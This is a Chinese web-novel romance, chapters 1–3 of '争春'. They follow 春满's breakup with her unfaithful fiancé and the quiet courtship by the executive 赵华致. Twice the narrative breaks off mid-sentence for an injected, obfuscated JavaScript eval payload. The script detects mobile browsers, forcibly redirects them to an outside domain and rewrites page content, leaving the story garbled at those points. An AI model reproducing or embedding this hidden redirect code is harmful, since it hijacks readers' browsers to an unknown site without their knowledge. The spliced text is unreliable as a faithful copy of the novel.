《争春》 1. 第 1 章 《争春》 文/有厌 01 春满大四毕业那年,赵华致尚在国外读硕士。校内的课业量还好,但赫京海外业务填满了他所有课余时间。 他挤出时间回国时,已经是摄影展最后一天。 这是一场小规模的展览,摄影师羽濛拍摄鸟类扬名,众多奖项傍身,但私人信息从不披露,更不会在公众视野内靠美貌、才华等记忆点营销出圈,充其量算一个冷门摄影师。 赶在闭展前到达,赵华致视线从一幅幅经典又熟悉的摄影作品上划过,隔着没几位游客的空荡展厅,一眼认出从照片墙后走出的年轻女孩。 二十四岁的赵华致对待感情沉稳不足,冲动尚存,按捺不住喜不自胜的激动。他往前迈出一步,打招呼的开场白已经排练过千百次,呼之欲出前,有人抢先唤了她的名字。 女孩目不斜视,笑盈盈地横穿他的视野。 展览的最后一日,临近闭馆的清静气氛被一场筹备细致的告白仪式打破。一众亲友见证下,清隽优越的天之骄子抱着大束玫瑰,向这场摄影展的主人剖白感情。 场面一度非常热闹。 大面积的白墙,墙上无数夺框而出的飞鸟。赵华致站在热闹之外,旁观自己漂洋过海来见的人接受了别人的告白。 现场一切用心讲究、本该服务于摄影作品的色彩和灯光,将男生落寞孤单的身影修饰得格外瘦削,最狼狈的莫过于,从始至终,他的存在无人注意。 ………… 四年时间弹指过,有行业落寞,踌躇满志的创业者血本无归;有的行业兴起,猪站在风口都能起飞。 城市日新月异,飞速发展。又是一年夏天。 “赵总,三天后的峰会……”副驾上特助需要确认两件时间冲突的行程,出声后发现赵华致正合眼小憩,便自觉噤声。 后座空间宽敞,赵华致缓慢睁眼。 当初无人注意的男生好像突然间长大,抛开五官线条的立体成熟和外形轮廓的从容有余,深邃眉目下漆黑眼底的青涩被淬炼成沉稳,言谈举止间的掌控力让他成了旁人不敢忽视的存在。 受方才思绪影响,他的眉宇间积聚着散不开的愁云。 特助有条不紊地把信息说完,赵华致做过决定,默了几秒,说:“替我备份订婚贺礼送去朵澜酒店。” 今天朵澜酒店有三场喜宴,唯一的那场订婚宴主角是赵华致熟悉的人。 特助先是应下,迟迟没听见赵华致交代贺礼是以男方上司、还是女方朋友的身份准备,及预算等要求,正要确认,却想到一个还没来得及汇报的关键信息:“房嘉恺和春满小姐的订婚宴一周前已经取消了。” 赵华致合住的眼皮再次睁开,语气难以置信地确认:“取消?原因是什么?” “我往春满小姐单位送文件时只听到几句闲话,她同事们也不清楚什么原因,只知道两人不仅婚不结了,还分了手。房嘉恺不接受来单位纠缠过几次,但春满小姐态度很坚决,连他面都不想见。” 赵华致有那么一瞬失去思考能力。脑海中摄影展上女孩答应告白后,被所爱之人拥住亲吻的场景清晰在目,显得特助这一消息过于荒唐。 订婚取消。 不结婚且分手。 长期活动在开冷风的室内,人很容易忘记室外的季节。街上绿树成荫,蝉鸣不休,烈日把城市包裹在一种接近曝光的亮度中。 赵华致隔着茶褐色车窗玻璃,逐渐消化两种视觉撞击带来差异感。 半月前,得知这段关系水到渠成地进入谈婚论嫁阶段,赵华致主观地屏蔽掉她的一切消息。 一周前……一周前的北央市迎来一场破坏力极强的台风,市民出行、工人作业等一切基础生活遭受重创。 赵华致一向喜欢暴雨天气,可那天他受婚讯折磨,夜不能寐,在岁月罅隙间疯长的爱意有多热烈,午夜时分被艳羡和嫉妒灌溉滋养的苦痛便多煎熬。 他因此没能第一时间掌握她的动态。 春满和房嘉恺大二相识,他追求得轰轰烈烈,全校皆知,直至毕业两人才正式在一起,四年间一直是深受身边人祝福的模范情侣。 分明半月前春满以家属身份参加星恒团建,当房嘉恺向一众同事公布与她的订婚喜讯时,眼梢笑容和肢体接触做不得假。 那时候两人还是甜蜜的。 怎么突然分开了? 春满不是冷血狭隘的人,哪怕房家破产、房嘉恺重病,她都不会抛下男方独善其身。 春满和她家人的生活水平、身体状况也都是稳定且健康的。 除了原则性问题,赵华致想不到其他春满执意提分手的理由。 春满绝不可能是过错方。 那就是房嘉恺背叛了这段感情? 他出轨了? 房嘉恺凭什么?手里握着明珠,却不知道珍惜,简直蠢透了。 距离大学生活已经整四年,那年摄影展柔和的山丘灯光下,被告白的女孩笑靥如花。 赵华致本以为,她四年如一日并且更长久地拥有着有目共睹的幸福。 赵华致从不以正人君子自居,要对集团上万员工身后的家庭负责,手腕城府都不能缺,凡事他看上的没有不想方设法争取的。 但对于感情,他罕见地认命,过去从没想过插足。 如今天赐良机,他没道理再仁慈。 赵华致前一秒因想不通房嘉恺真实的背叛原因而蹙眉,此刻太阳穴却突突跳两下,眼底涌动的情绪是跃跃欲试的兴奋。 但很快,赵华致腿侧收紧的手放松,蓄势待发的冲动被堪堪压下,想到另一件更重要的事。 春满不是为逃避情绪一蹶不振消极人生的人,想必第一时间提出分手后,照旧维持着工作、生活,并在这个过程中,一个个通知她这边的亲友。 四年的感情啊。 她散布喜讯时那么开心,如今得多难过,要遭受多少委屈。 - 北央森林动物园占地近百公顷,数十个展馆,百余种、几千只珍稀动物,是当地4A级网红景区。 客流在疫情后迎来新高,周末尤其。 游客区和工作区有着很分明的界限,救护中心则位于最清净的角落。 上午接收了一只受伤的猫头鹰,春满忙着救治,连口水都没顾上喝。 傍晚临下班时,她和同事出外勤去抓一只闯入奶茶店的野猪,起身时不小心把腰给闪了。 一天过得充实且劳累。 换衣服下班时,她想,黄历上说的真不准,今天算哪门子的黄道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14467353|154274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吉日。 回家一路畅通,街边熟食店排起长队,居民楼窗口饭菜飘香,放学的孩童准时被父母接回家,下班的男人路过花店记得给妻子带束花。 晚霞烘托下,随处可见的人间烟火气无不密布岁月静好的痕迹。 春满带着与温馨氛围格格不入的孤单,站在四下无人的电梯内,发了会呆,直至电梯到达,她才有所动作。 刚一迈出去,扑鼻的酒气刺激得她拧起眉。 一梯一户的房子,电梯需要用门禁卡刷,没有物业放行外人不可能上来。 不难猜到罪魁祸首是谁,春满先是听到他的声音,才看到他这人。 “慢慢,你回来了。” 房嘉恺后背蹭着墙壁起来,站定时,脚步不稳地往前踉跄了下。 这一周疏远他成了本能,春满往旁边避了下。又因为担心房嘉恺没站稳,一头栽到地板上摔出个好歹,她注意力集中在他身上,时刻关注着。 房嘉恺眼底的光灭了些,卑微又委屈道:“你还在生气吗?我知道错了,好难受啊,我不想跟你分开,我们以前那么好……” 春满换了只手拿包,在手机上点开叫车软件打车,然后联系物业说明情况。做完这些,她才打断房嘉恺叙旧情的呢喃声:“我不是拿分手当情趣的人,也不想翻来覆去重复一样的话。我之前已经说得很清楚了。” 春满今天很累,迫切地想回家往沙发上一瘫,但房嘉恺堵在门口,她不能开门把人放进去,优柔寡断地纠缠在一起,只会让这一周的决绝态度变成笑话。 即便她做到这个地步,房嘉恺仍认为有回旋余地,不死心地劝说:“慢慢,你冷静下来想想。我对你不好吗?我的家人对你不好吗?在一起的四年你要月亮,我不给你摘星星。你妈生病手术不想影响你工作,是我陪床照顾。动物园入不敷出,濒临倒闭,我妈知道后第一时间给你投资,她一直拿你当亲女儿看待,你都忘了吗?我哪一方面做得不到位?你为什么要揪着我和沈栀意的事不放,我只是犯了每个男人都会犯的错。” 前半段的情真意切被最后的这句毁了个彻底,春满低垂的眼睫颤了颤,眼眸冷静底色上闪过一瞬的自嘲。 长时间没人说话,声控灯灭了。 黑暗让春满的安全感流失,她却连制造点儿声音的力气都没有。 “你是不是喜欢别人了?”房嘉恺低姿态的恳求发酵出恼羞成怒的恶性因子,不负责任地揣测道。 春满注意力被四肢百骸隐密的痛感转移走,闻言才一点点回笼,盯着他所在的方向,难以置信地问了句:“什么?” “除了这个原因,我想不通你为什么能这么狠心,说分手就分手。四年的感情,换不来一次我做错事的原谅吗?我这段时间在想,是不是我以前对你太好了,让你一点包容都不……” 啪!清脆的巴掌声打断了他的声音。 很少落泪的春满,此刻失望地红了眼眶。她慢慢地收回手,掌心和手腕传来火辣辣的痛。 “清醒了吗?”重新亮起的灯光清晰照出她眼底的厌恶。 电梯到达这一层的提示音响起,是物业的人到了。 春满忍着胃里的恶心,声音微微发着颤,却掷地有声:“房嘉恺,该冷静的是你。我很清醒自己在做什么。” 2. 第 2 章 02 四年感情突然结束,春满一滴泪没落,没事人似的过了一周。 倒是身边朋友得知房嘉恺不死心地纠缠后,喊她把年假休了,大家陪她出去玩几天。 正好隔壁市有个度假村开业,春满对打着“氧吧”“避世”的酒店民宿感官一般,但对附近的鸟类博物馆很感兴趣。 闺蜜姜早早比她晚半天到达,风尘仆仆地办完入住,顾不上回自己的房间,拽着行李箱敲开春满的门,唾沫四溅地先把房嘉恺骂了一顿。 她被关在横店俩月,整天除了写剧本便是吃外卖和睡觉,情绪焦虑、暴躁、易怒,正愁没地方发泄。 “你要是敢回头跟他复合,我们就绝交!”口干舌燥再说不出任何新鲜词后,姜早早如是提醒道。 春满给她递了杯水,保证似的,说:“不会和好了。” 春满的情绪具有机动性,每每遇到事时一旦身边的人替她鸣不平,她再气愤也怒不起来,准确地说是没机会怒,时间都用来帮朋友消气。 房间的座机电话响起,姜早早离得近,顺手按了免提键。 “春小姐你好,因为您的房间临湖,夏季多蚊虫。酒店现在可以为您升级房型,请问换到南面临山的温泉房可以吗?” 姜早早很是探究地看了春满一眼,春满抿着唇面无表情地听完,凑近座机些,说:“不用了谢谢。” 对方显然意外地停顿了数秒,很快调整好语气:“好的。不升也没关系,您在酒店内可享有贵宾同等级别服务,有需要可以致电专属值班经理。” 等电话挂断,姜早早狐疑道:“为什么不升房型?” 春满示意她看阳台严丝合缝的窗户,问:“你觉得蚊子会穿墙术,还是能撞破玻璃?” 姜早早微微张嘴,突然记起这家酒店所属于天谢集团,而天谢集团如今的年轻掌权人谢开阳和春满的感情不一般,当即笑了:“喔呦。谢开阳消息够灵通的啊。不知情的肯定以为你这刚恢复单身,就有人来献殷勤。” 春满偏头看了眼窗外碧绿澄澈的湖水,没说话。 姜早早换了个舒展的姿势,顺势聊起:“听说谢总在附近开会,好像是一个北斗导航峰会,星恒也来了。” 春满眉心微跳,注意力被吸引回来:“星恒来的是谁?” “星恒的新老板,赵华致啊。你放心,房嘉恺不会知道你在这里的,即便他来,也只有讨骂的份儿。” 姜早早眼珠骨碌碌转了一圈,职业病犯了,突然凑近些,不负责任地开脑洞,“按照剧本爽点套路,故事女主角踹掉渣男后,下一任往往是对方的老板或者小舅舅。” “房嘉恺有小舅舅吗?”姜早早一本正经地打听。 春满无语地看她一眼:“没有。” 姜早早嘿嘿笑了下,说:“没关系,他有老板啊。这位赵总可是青年才俊,据可靠消息称他单身,且洁身自好。这么好的虐渣男途径,你不把握住?” 国内能和天谢集团分庭抗礼的,也就只有赵华致背后的赫京集团了。 谢开阳比赵华致年长四岁。但谢氏早几年内斗比较严重,真论起来,两人接管公司的时间相近。 两个集团业务重合率极高,这些年你争我抢,谁也不输,谁也没赢,可以说是各有千秋,旗鼓相当,于两人而言,彼此都是可畏且值得尊敬的对手。 而房嘉恺所就职的星恒科技主要研究的北斗卫星导航产业,前段时间星恒被赫京收购,赵华致成了房嘉恺的上司。 房嘉恺在她面前频繁地提起这位新老板,说他管理方式精明果断,一上任便裁了星恒大半的员工,甚至有员工凌晨两点收到裁决通知,使公司人心惶惶。 春满回忆一下赵华致高处不胜寒的形象,认为闺蜜的想法确实大胆。 不多时到吃饭时间,姜早早回房间放下行李箱,换了身衣服一块去吃饭。 离开酒店时,姜早早看了眼各项服务设施的路标牌,记下健身房的方向,用力一挽春满的胳膊,邀请:“宝贝,明早约一波健身房啊?我这俩月连有氧都没做一点儿,胖了一圈。” 酒店房间与房间间隔得远,一路走下来人工造景很有看头,但春满更喜欢大自然真实的美:“要不你跟我爬山?” “我不,爬山太晒。我宁愿白白胖胖,也不想当煤球。”顿了下,姜早早顾虑地看了眼春满,谨慎发问,“你要去爬山?要不我还是陪你吧。” 春满知道姜早早担心什么。 山是春满恋爱阶段很特殊的场合。大二那年,春满和房嘉恺因为爬山结缘。她挂着比手掌还长的镜头去拍林鸟,他背着笨重的测绘仪器去山上完成专业课的任务。他闯进了她的镜头,说对她一见钟情。 他的告白方式张扬,女生宿舍楼下,他站在蜡烛摆的爱心里,弹吉他唱情歌。等春满素面朝天下楼时,他变魔术似的怀里多了束红玫瑰。 他的喜欢直白又热烈,像冬天的炉火,烤得人心里暖烘烘的。但春满没答应,碍于男生大庭广众下的自尊心没把话说得太绝情:“房嘉恺你真喜欢我吗?那为什么选择了一种我最讨厌的告白方式,看来你并不了解我。” 一次失败没打消房嘉恺的积极性。他用奶茶和甜品从她室友那里套到行程,追着她攀山、趟河、修她专业的选修课、出现在她在的任何地方。 他人缘好,嘴巴甜,接近她时不提恋爱这件事,春满也没法明确拒绝。 房嘉恺就这样渐渐拉拢了她的朋友、同学,慢慢悠悠、专心致志地追了她两年。摄影展最后一天,房嘉恺送上庆祝展览圆满结束的鲜花,又一次跟她表白。 春满答应后,房嘉恺像个没长大的孩子,把她抱离地面转了好几圈。第二天一大早,神神秘秘地说要带她去个地方,春满到了才知道是见他父母,简直吓一大跳。 他的冲动和幼稚,像刺猬身上密密麻麻的刺,让她无处下手,又如普照人间的阳光,成了她生活中必不可少的部分。 可惜等闲变却故人心。 姜早早怕她睹“山”思人,但春满想说自己不会因噎废食。 只是结束一段不健康的感情罢了,她不仅能轻松愉悦地爬山,也不会因为暂时的失望再不相信爱情。 - 翌日一早,姜早早确认春满不是避开人群到山顶黯然神伤后,独自去了健身房。 春满开车到山下的停车场,下车时听见有人叫了自己一声。 “春满。” 赵华致惯会隐藏情绪,过去在春满面前尤其。初听消息时的万千感受,已经在未曾谋面的日子里消化。此刻再见,依旧是熟稔不足,疏离有余的状态。 于公,他是春满工作中的投资人;于私,春满朋友多,他大抵算分量最轻的那类。 “也来爬山?”赵华致打招呼的语气平淡得只有客套。 春满慢了半拍才发现他,面露碰见熟人的意外神色,把从后备箱里拎出的轻便登山包背好,走过来,打量他一身运动劲装的样子。 和平日的矜贵气质不同,挺拔俊朗的形象有种如晨曦的亲和力。 “巧。之前你说喜欢爬山,还以为是场面话。”她说。 赵华致被人打量时,同样也在看她。 春满不是过分追求骨感美的人,但当□□态轻盈,下颏线条紧致了一圈,明显消瘦。 马尾梳高后一条拳击辫甩在遮阳帽外,帽檐阴影笼住鹅蛋脸,唇不点而红,眉如山黛,素面朝天,不减社交自信。 赵华致视线下移。 她在任何场合都戴着的那条房嘉恺送她的手链也摘了,手腕空荡荡,显得格外纤细,腕骨凸起明显。 不是正式的场合,两人穿得运动风,朝气崭新的精神面貌不谋而合地烘托出蓬勃朝气,像两个大学生。 “在你那里我的信用值很低?”赵华致看回她的眼睛,一本正经的语气反倒生出几分严肃。 “霸总日理万机嘛。”工作中有个社恐自闭的领导,春满在陪同出席的场合中面对赵华致时,不说是活跃气氛的角色,但也是主要陪聊的人,偶尔来句玩笑也是常事,不会忌惮赵华致的身份和地位畏畏缩缩,谨小慎微。 “昨天在这边开会,听说这座山上风景不错,所以来了。”顶着个“总”的头衔,赵华致很少对人解释自己的行程,但此刻还是多此一举地主动挑明,在春满浅笑注视下,提议,“这两年确实爬得少,但体力不错。待会儿比比?” “好啊。”春满不疑有他地接受邀战。 5A级景区,政府规划到位,前半段进山的坡路能走观光车,来来回回有晨跑的人。 春满被带动得做了做手臂拉伸,想慢跑到山脚,但又拿不准赵华致的状态,早知道方才就不应下同行了。 但话说回来,她似乎很难找到回绝理由。 怎么说也是动物园的金主爸爸,他主动提了,春满这不喜欢抹别人面子的毛病有些讨好型人格。 回头一定要让章啸行按外勤给自己算这次请假。 “跑几步?”身侧突然响起的男声拽回春满发散的思绪。 春满弯了弯眼:“可以。” 一时只剩跑鞋匀速踏在跑道上的声音和平缓的呼吸声,太阳自东升起,茂林将其阻隔,一并笼住两人身影。 到了上山的石阶口,他们放慢步伐。 山道边有树枝不知是遭自然侵害还是游客误折,春满顺手扶正做了保护。 赵华致准确地分辨出它的品种,并且开了句玩笑:“幸好不是金毛狗,我在户外遇见它都绕路走。” “毕竟国家二级保护植物,能召唤银手镯。”春满语气如常,心中却诧异。 金毛狗和华南鳞盖蕨外形相似,很容易被混淆,他不仅知道,而且能区分。 话题流畅地切入,话匣子打开。 赵华致谈吐跟他自身气场有些出入,意外的不强势,不是主导方,也非跟风附和,每一个观点都恰如其分。 春满的爱好都在大自然里,赵华致则熟悉相关科技应用技术。 两人从当地气候、植被,聊到动物,再延伸到北斗跟踪在动物身上的应用。 星恒是做北斗导航的,这话题难免让春满想起房嘉恺。她硕士期间的论文有关这个方向,过去和房嘉恺聊得很频繁,此刻并不想被回忆奴役。 因此她轻 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他们之间的聊天氛围太融洽和舒服了。她和赵华致先前的几次接触多是工作,甲乙方身份的约束,巴结谈不上,但春满该有的合作者姿态一直保持得很好。 她竟没听说手段果敢狠辣的赵总平易近人到这个地步。 “一直没问,赵总愿意注资动物园,是因为喜欢大自然吗?”春满注视着赵华致,心里跑题地生出些猜测来,并且企图验证。 赵华致没立刻回答。 微风习习中,暑热在这个时间点尚未沸腾,搭配目之所及的绿意盎然和起伏山峦,着实是一个不忍辜负的美好时刻。 他想说目的可以说是这个,但也不单是这个。至于喜欢大自然的原因,则是—— 你。 乍响的手机铃声打破了两人各怀鬼胎的目光。 赵华致接通特助打来的电话,有关工作,他用几个单音节回应,很快结束。 挂断后,他闭口不提需要立刻下山的事,只是不动声色地看了眼时间。 春满注意到,顺势提:“太阳升起来,要晒了,下去吗?” “好。” 问的人觉得不合时宜,要答的人觉得难以启齿,方才的问题被两人默契地揭过。 下山的路要轻松些,但山道窄,同频并行太亲密,两人一前一后,相隔两三阶。 注意力集中在脚底石阶上,一路冷清,两人回到停车场,气氛才热闹起来。 春满因面相和气被一个老年旅游团叫住,打听山上光景如何,赵华致越过她朝等在车边的特助走去。 春满看似不受影响,却在赵华致错身时,不着痕迹地朝他背影看了眼。 没有西装裹身,不在肃杀隆重的谈判桌上,男人举止气场依旧能窥见疏离冷淡的上位者气质。 春满与他虽只有两岁年龄差,但阶级地位财富并不是两年可以追平的。 这云泥之别的体感越清晰,春满便越觉得自己先前的误解天方夜谭。 赵华致和特助说话时走到车边拿水,改成面向春满的位置站着,意外撞上春满没来得及撤走的视线。 她不觉唐突,很礼貌地笑了笑。 赵华致面上不动声色,捏着矿泉水水瓶的手指微微收紧,发出塑料被挤压的窸窣声响。 又有人和春满说话,她才自然地收回视线。不一会儿,她与旅游团作别,朝车位走来。 赵华致拿了瓶全新的水,递过去拦住她的去路。 “谢谢。”春满接过,盯着水瓶经阳光折射照在地面上的彩虹,若有所思。 不怪春满有所防备。 好事不出门,坏事传千里。她分手的消息不胫而走后,陆陆续续引发很多猜测。 春满没对外说房嘉恺半句不是,反倒让那些半生不熟的身边人以为是她不满足如今的感情,生出了异心,平日走得近的但凡有点样貌和财力的,都成了绯闻男主角。 春满说是不会因噎废食,但特殊阶段,在保证正常社交的前提下,还是该尽可能地从源头避免这种谣言。 “我接下来要在这边呆两天。” 春满被赵华致突然抬高的声音拽回思绪,听见他继续说,“你提到的VR动物科普的项目我很感兴趣,等你有更完善的想法后,方便聊一聊吗?” 突如其来的工作,让春满一瞬间清醒。 赵华致怎么可能是在她身上花心思、会迎合她的人。 挡着太阳的云层移开,视野更清晰些,眼前人玉树临风,冷峻挺拔。春满突然感受到赵华致的真诚,他一直盯着自己等待答复,眼神漆黑明亮,很是耐心。 春满倏然想起,除了那不近人情的裁人举措,赵华致在管理上还是很大方开明的,不止把星恒的团建改在工作日,员工福利和薪酬等都有所提高。 恩威并施,没有无情地把员工当廉价牛马驱使。 这样的商人,个人魅力从不该被片面的定义。 “当然,我的荣幸。”春满笑时弯了弯眼,营业成分居多,但不乏真心,“我把资料准备好后联系你的助理。” 3. 第 3 章 03 从山上下来后,春满解决了早餐,便把自己关在房间里做PPT。 姜早早化好妆来叫她出门,见状震惊得眨巴眼,控诉:“我一心指望你在山上捡个艳遇,没想到你找了份工作。” 回应她的,是春满噼里啪啦敲键盘的声音。 “不过这怎么不算一种机会呢。”姜早早关注的重点完全偏了,不乱点鸳鸯谱,也有别的角度可以发散,“话说回来,你有赵华致微信没,让我看看霸总的朋友圈。” “没加。我有事都是联系他助理。” “行吧。”姜早早站在全身镜前面整理头发,叹道,“我下一个职场剧主打贴合现实,但我改了好几版人设,总把霸总塑造得太悬浮,不够落地,除了装逼还是装逼。现在急需一个霸总当观察对象。” 春满视线集中在屏幕上,搭话:“你不是有个游戏搭子,大小也是个总,没挖掘出什么灵感来?” “他?可拉倒吧。谁家霸总成天趴网上打游戏聊天啊。” 姜早早陪春满待了会儿,说自己出去逛逛,到午饭时间给她打电话。 酒店多独幢,绿化度极高,道路七拐八绕,竹林假山流水,姜早早本想找个好看的背景录点Vlog素材。 等几个钟头后,她掐着时间离开时,不幸地迷了路。 一通乱走后,姜早早看到不远处有个穿西装的男人,多少受新剧剧本的影响,忍不住多瞅几眼。 这肩背线条,这身材比例,是哪家西装品牌的模特吧。姜早早垂涎欲滴地举起拍照的手机。 咔嚓一声快门响。 男人侧脸偏过来些,姜早早意外发现这是自己认识的人。 “赵总?” 姜早早的尴尬并没有因此得到缓解。她和赵华致只有几面之缘,属于她单方面认识对方,对方估计对她没任何印象的程度,因此这句脱口而出的招呼十分唐突生硬。 赵华致循声扫过来的冷淡眼神,显然也印证了姜早早的自知之明。 人在尴尬的时候要么话痨要么沉默,姜早早显然是前者。她自来熟地攀谈,不放过这个近距离观察霸总的机会:“你可能不认识我。我是春满的朋友,正准备打电话叫她出来吃午饭,赵总吃了吗?要不要一起?” - 房间里,春满合住电脑,起身活动下肩颈,收到姜早早发来的餐厅地址。 距离酒店不远,春满方向感好,没什么费事便找到地方。 起初还意外她们俩吃饭,为什么兴师动众地定个包间,被服务生引进去才明白。 “慢慢,快来坐。已经点了几样,你看还有什么要加的。”姜早早拉开自己和赵华致中间的那把空椅子,招呼春满。 “赵总也在。”春满不可能无法忽视赵华致的存在,坐下时先跟他打了个招呼,同时依据自己对姜早早的了解,猜测对方之所以出现的原因。 赵华致没让她想太久,主动阐明:“在附近遇到你朋友,她说要对我做个小采访。我在这不会打扰你们吧。” “怎么会。”春满笑笑,低头看菜单。姜早早知道她的口味,点的都是她喜欢吃的,春满仓促地扫了眼菜单便合住。 姜早早此前的确问过能不能向赵华致了解些集团管理方面的心得用于剧本创作,且在春满出现前,两人多多少少沟通了几句企业运营模式,所以她此刻并未觉得不妥。 服务生进来确定他们这桌的菜品,姜早早说她请客,主动把服务生叫过去。 两个人交流时,赵华致偏头跟春满说话:“你上午一直在房间忙工作?抱歉,我心血来潮的想法,耽误你的休息时间。其实也没那么急,我们也可以回去再沟通。” 赵华致音量放得低,春满为了听清,小幅度地偏了偏身,说话时不自觉放轻音量:“没关系。我上午状态好,习惯上午处理些动脑子的工作。” “那就好。如果影响到你的假期,那我责任可大了。”服务生已经出去,赵华致仍以这样的方式跟春满说话,“吃完饭有安排吗?” 格调雅致的餐厅不知从哪里传来悠扬的小提琴曲,春满对赵华致的话半听半猜,终于意识到自己低声说话的状态有些没意义,语调正常些,回答:“打算回房间睡午觉,早晨起得太早了。睡醒和早早去看电影。” 姜早早从刚刚起便一直观察这两个人,起初只是觉得赵华致面对春满时不像对自己那般客气,猜想两人应该比自己以为的要熟悉。 直到听见春满这句回答,她才又品出点其他意味。春满从来没有睡午觉的习惯,即便是困了也就喝杯咖啡缓解一下;而且从来不跟姜早早一起看电影,因为姜早早看电影习惯拉片,春满喜欢沉浸式体验,两人每每都看不到一块去。 春满不是张口谎话的人,好端端怎么骗人呢? 抱着这个疑问,姜早早一整顿饭都没怎么说话,不着痕迹又全神贯注地做一个恋爱观察员。 但姜早早看了一会儿,觉得像自己这种屁大的糖点兑点儿水能嗑半年的CP脑,判断并不公正。 正要跟春满说句话,姜早早注意到她手腕处泛红的皮肤。 姜早早在春满又一次抓痒时,从桌布下拉住她的手询问:“你这是被什么咬了?” 春满刚要说可能是上山时被虫子蛰了,待会儿涂点药就行。 赵华致盯着她刚刚尝过的那份甜品,叫来服务生服务生确认:“甜品用了鸡蛋?” 两个女孩同时望过去,姜早早反应更强烈些,搁下筷子,凝视:“我点单时,特意强调过有客人对鸡蛋过敏。” “不好意思,我马上跟后厨核实。”服务生慌得冷汗下来。 好在吃得少,症状算不上严重。 春满想到方才赵华致的反应最迅速,若有所思,手指无意识地在另只手手腕上抓挠了几下。 “轻点儿。”赵华致出声提醒。 声音却被姜早早急急火火的担忧盖住:“我跟你说,等核查完如果真是餐厅的疏忽,我冲他们发火你别拦着,工作中捅娄子不算什么,但关系到客人的生命安全那就不是小事。过敏严重了会出人命的不知道吗?” “好啦。”春满顾不上回应赵华致的提醒,哭笑不得地安慰替自己鸣不平的闺蜜,轻快的尾音上挑,“我只吃了一点,这不是及时发现了吗?” 姜早早家里有老人因为药物过敏去世,当时诊所临时换药,老人没耐心做皮试,发现时已经迟了。她因此心有余悸,生活中闻“过敏”色变,异常重视。 姜早早被安抚住,不情不愿地嘴角动了下,说:“幸好赵总及时反应,否则我们错当成蚊虫咬的,等你把整块甜品吃完,今天也甭回去搞工作,去医院报到得了。” 姜早早说完突然沉默下来。 她也发现了。 ——赵华致竟然知道春满对鸡蛋过敏。 竟比她这个闺蜜还要细心。 餐厅经理来得快,带了常用过敏药,解释店里甜品有含鸡蛋和不含两种配方,是上甜品时出现了差错,表示会处罚服务生,并为他们免单。 凡是打工人都能共情职场中出了事推卸责任的行为,姜早早刚被压下的火蹭得蹿上来,嘴唇一碰,准备开口。 赵华致比她更快,气势也足,三言两语直中要害:“服务生有疏忽,但餐厅管理流程上问题更大。我已经将这个问题反馈到你们集团总部了,希望是诚心整改。” 餐厅经理擦了擦额角的汗,连声说了些场面话补救。 发生这么个小插曲,一行人没了再坐下去的心情。春满顺势提出回房休息,姜早早要陪她,走之前冲赵华致竖了竖大拇指:“赵总干得漂亮。” 赵华致看了姜早早一眼,视线无意地滑向她斜后侧的春满身上。 春满低头看手机,刻意疏远他般,连眼神交汇都没有,好似早晨一块爬山相谈甚欢的是他和姜早早。 春满不论样貌还是言行,攻击性都不强,充其量算清冷自矜,对熟悉的人很有亲和力和感染力。 但她如果想回避谁,气场则是实打实的坚定,用“软钉子”形容也不为过,让人挑不出错处,但也找不到破局的机会。 刚刚关心则乱,他不该提过敏的。 - “你都没跟他提过,他怎么知道你对鸡蛋过敏?”姜早早心里藏不住事,回去路上,第一时间发问。 “可能之前一块吃饭时记住的。”赫京旗下的至文资本给动物园注资,赵华致经常露面。而身为动物园园长的章啸行是资深社恐,每每参与饭局都会带上春满暖场子。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14467355|154274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“倒是有这个可能。”姜早早很容易被说服,提到另一个有趣的地方,“不过你跟赵华致的口味意外的合。点菜时他先点的,我一看,都是你爱吃的。” 姜早早搓了搓手腕,没说话。 吃了药,春满过敏的症状减轻了很多。姜早早在房间陪她,嚷嚷着中午没吃尽兴,又点了不少吃的。 门铃被按响,传来客房服务的声音。 “应该是送吃的,我去开。”姜早早从沙发上扑腾起来,趿拉着拖鞋去开门。 门外停着两辆餐车,还有一辆在距离房门两百米的走廊上。 三辆餐车,三份一模一样的甜品。姜早早第一反应:我下单下重了? 春满见姜早早堵在门口迟迟没回来,以为是有什么事,随即起身去看。 客房服务部的工作人员培训有素,笑容标准又亲切,三个人配上三份来自不同途径的甜品,氛围有种迷之微妙。 几分钟后,甜品在房内一字摆开。 姜早早单臂环胸,另只手虎口卡着自己的下巴,如临大敌地眉头紧锁。 春满在一旁翻了翻新打印出的文件检查印刷效果,相较之下还算淡定。 她刚刚看过,最后送进房间的那份甜品是姜早早点的,前两份分别是餐厅和这家酒店所属集团的大老板,谢开阳。 以及赵华致。 餐厅方亡羊补牢,说得过去。 至于赵华致的周到,便显得太郑重了。 “不简单,这个赵总绝对不简单。”姜早早如是点评。 - 估摸着甜品送到房间的时间,赵华致的手机停在某一个用户头像是彩虹云的聊天页面。 几条公式化的常规祝福语半个屏幕便显示完,如同要验证自己没有被删一般,只有春节和生日这样的重大节日才会发送。 赵华致又一次看手机时,通知栏有新消息弹出来,来自其他好友:“三点,私人博物馆。” 现在是差一刻钟三点,也就是说赵华致要去的话,现在便可以动身。 手机又是一震,还是这个好友的。对方嘚瑟地邀功:“不用谢,多放我一周假就行。” 赵华致转发了一则“男人二十七八正是该好好工作的年纪”的短视频毒鸡汤,锁掉手机。 这里远离市区,非政府规划用地,私人博物馆占地面积可观。 赵华致到门口时遇见这个博物馆的主人,被认出来。对方热络地打招呼,说一早听说他在附近,正要找机会拜访。 说话费了些时间,赵华致再进博物院时已经过了三点钟。 